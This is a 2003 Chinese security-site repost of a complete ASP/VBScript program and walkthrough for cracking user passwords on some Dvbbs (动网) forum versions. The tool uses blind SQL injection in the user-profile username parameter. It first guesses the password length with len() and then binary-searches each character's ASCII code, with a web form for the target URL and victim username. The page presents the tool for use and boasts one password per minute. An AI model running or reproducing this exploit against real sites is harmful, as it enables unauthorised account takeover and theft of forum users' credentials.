首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
动网暴力破解密码程序代码
来源:vittersafe.yeah.net 作者:MagicKing 发布时间:2003-11-25  

动网暴力破解密码程序代码

作者:MagicKing

_该程序代码基于动网论坛漏洞:

<%
response.buffer=false
'为防止程序陷入死循环,初始化一些最大重试值
Dim MaxPassLen,MaxPassAsc
MaxPassLen=20 '密码最大长度
MaxPassAsc=20

'==== 字符转换
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
' 下面是取网页内容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
'下面是判断返回页面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
ChkPage=true '页面返回成功
exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
ChkPage=false '页面出错
exit function
end if
ChkPage=false '关键字信息不对或者是页面未连接
response.write("关键字信息不对或者是页面未连接")
response.end
End Function

'开始破解
'Dim url,username,password,SucKey,

Dim PassLenUrl
Dim PassLen
Dim ChkPassLen

If request("begin")<>"" then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步,破解密码长度<BR>")

PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1"
response.write("当前测试密码位数为“" & PassLen & "”,请稍等......<BR>")
ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
If ChkPassLen Then
response.write("成功!!!密码位数已经测试出来了,开始测试具体位数<BR>")
exit do
Else
response.write("不行,继续下一位测试!<BR>")
End If
If PassLen > MaxPassLen then
response.write( "密码位数未能测试出,请确认是否有此用户或重新调整密码长度范围")
response.end
exit do
End If
PassLen = PassLen + 1
Loop
response.write ("<FONT COLOR=red>已经测试出密码长度为" & PassLen & ",开始测试具体密码值</FONT><BR><BR>")
'循环每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
'Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""

For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "开始破解第" & i & "位密码<BR>"
'用二分法取asc码范围
count=1
suc=false
Do while not suc
Asctemp1=Asctemp
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if

response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
response.write "划定密码范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "密码不在所设定ASC码范围内"
response.end
exit do
end if
if ChkPass then
Asc10=Asc1
Asc20=Asc2
response.write("密码在该范围内<BR>")
if Asc1=Asc2 then Suc = true
Asc2 = Asc1 + Asctemp
else
Asc1 = Asc20-Asctemp1
Asc2 = Asc20
response.write("不在该范围内,改试另一范围<BR>")
end if
count=count+1
if count>MaxPassAsc then
response.write("死循环了!")
response.end
exit do
end if
Loop
Ascstr=Ascstr & chr(Asc1)
response.write"<BR>当前破解进度(“"&Ascstr&"”)<BR><BR><BR><BR>"
Next


response.write"<FONT SIZE=7 COLOR=red>" & username & "的密码已经破解成功!!!!!!!(" & Ascstr & ")<BR></FONT><BR>"
else
%>
<body style="font-size:9pt">
<h3 align=center><B>动网论坛暴力破解程序</B></h3>

<FORM METHOD=POST ACTION="" name=frm>
网站地址:<INPUT TYPE="text" NAME="url" value="http://*******/bbs/viewuser.asp?username=">(要破解攻击的地址,注:地址中"="后的信息不要)<BR>
密码字段:<INPUT TYPE="text" NAME="password" value="password">(在数据库中保存密码的字段名)<BR>
出错页关键字:<INPUT TYPE="text" NAME="ErrKey" value="错误">(没有找到该用户时返回的页面关键字,比如“错误信息”)<BR>
成功页关键字:<INPUT TYPE="text" NAME="SucKey" value="">(成功查询到该用户资料时的关键字,比如用户名)<BR>
用户名称:<INPUT TYPE="text" NAME="username">(要破解密码的用户名)<BR>
<INPUT TYPE="submit" value="开始破解" name="begin"> <INPUT TYPE="button" value="检查用户" onclick="ChkUser()"> <INPUT TYPE="button" value="继续破解" onclick="alert('防止中途结束了,但是没作好')">
</FORM>
<%end if%>
<SCRIPT LANGUAGE="****">
<!--
function ChkUser()
{
window.open(document.frm.url.value+document.frm.username.value);
}
//-->
</SCRIPT>

程序示例:要破一个名叫abc的用户密码,察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc,在dispuser.asp中,读取参数的语句是: username=trim(request(“name”)),数据库的查询的语句是: sql=“select * from [user] where username=’“&username&”’”,abc就是直接被作为了dispuer的一个参数username。另外,如果该用户不存在,程序就会给出提示,就再写入个查询密码的条件,在where username=abc后面加上and userpassword=“******”,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20'1'='1,这么看可能不好理解,放到sql语句里其实就是这样子:sql=“select * from [User] where username='abc' and len(UserPassword)=5 and '1'='1'”,%20是空格,abc后面的单引号和’1’=’1里的单引号都是为了和sql语句相匹配。该用户不存在?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)='a,如果猜对了就给出用户资料,猜错了就给出该用户不存在的提示,就可以直接在程序里面用xmlhttp来获取指定网址的内容,然后根据提供的关键字来判断是否猜对了,先用前面说的len方法从1开始穷举搞定为止,然后在针对每一位密码用mid函数集合键盘的asc码的范围(33到126),在程序里面用二分法来逐步缩小范围,几个循环就完成了。

注意,只适用了部分动网论坛版本。(基本一分钟破解出来一个密码)




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·Windows Workstation Service远
·Cisco PIX525 配置备忘
·玩转ARP
·关于Windows下ShellCode编写的一
·Windows Workstation Service远
·搭建一个windows下的蜜罐系统
·通用ShellCode深入剖析
·探测honeypot的tips
·使用SPIKE进行安全测试
·新形式下的网络防毒建议汇总
·最佳的75个安全工具
·pwdump2 samdump.c浅析与改进
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved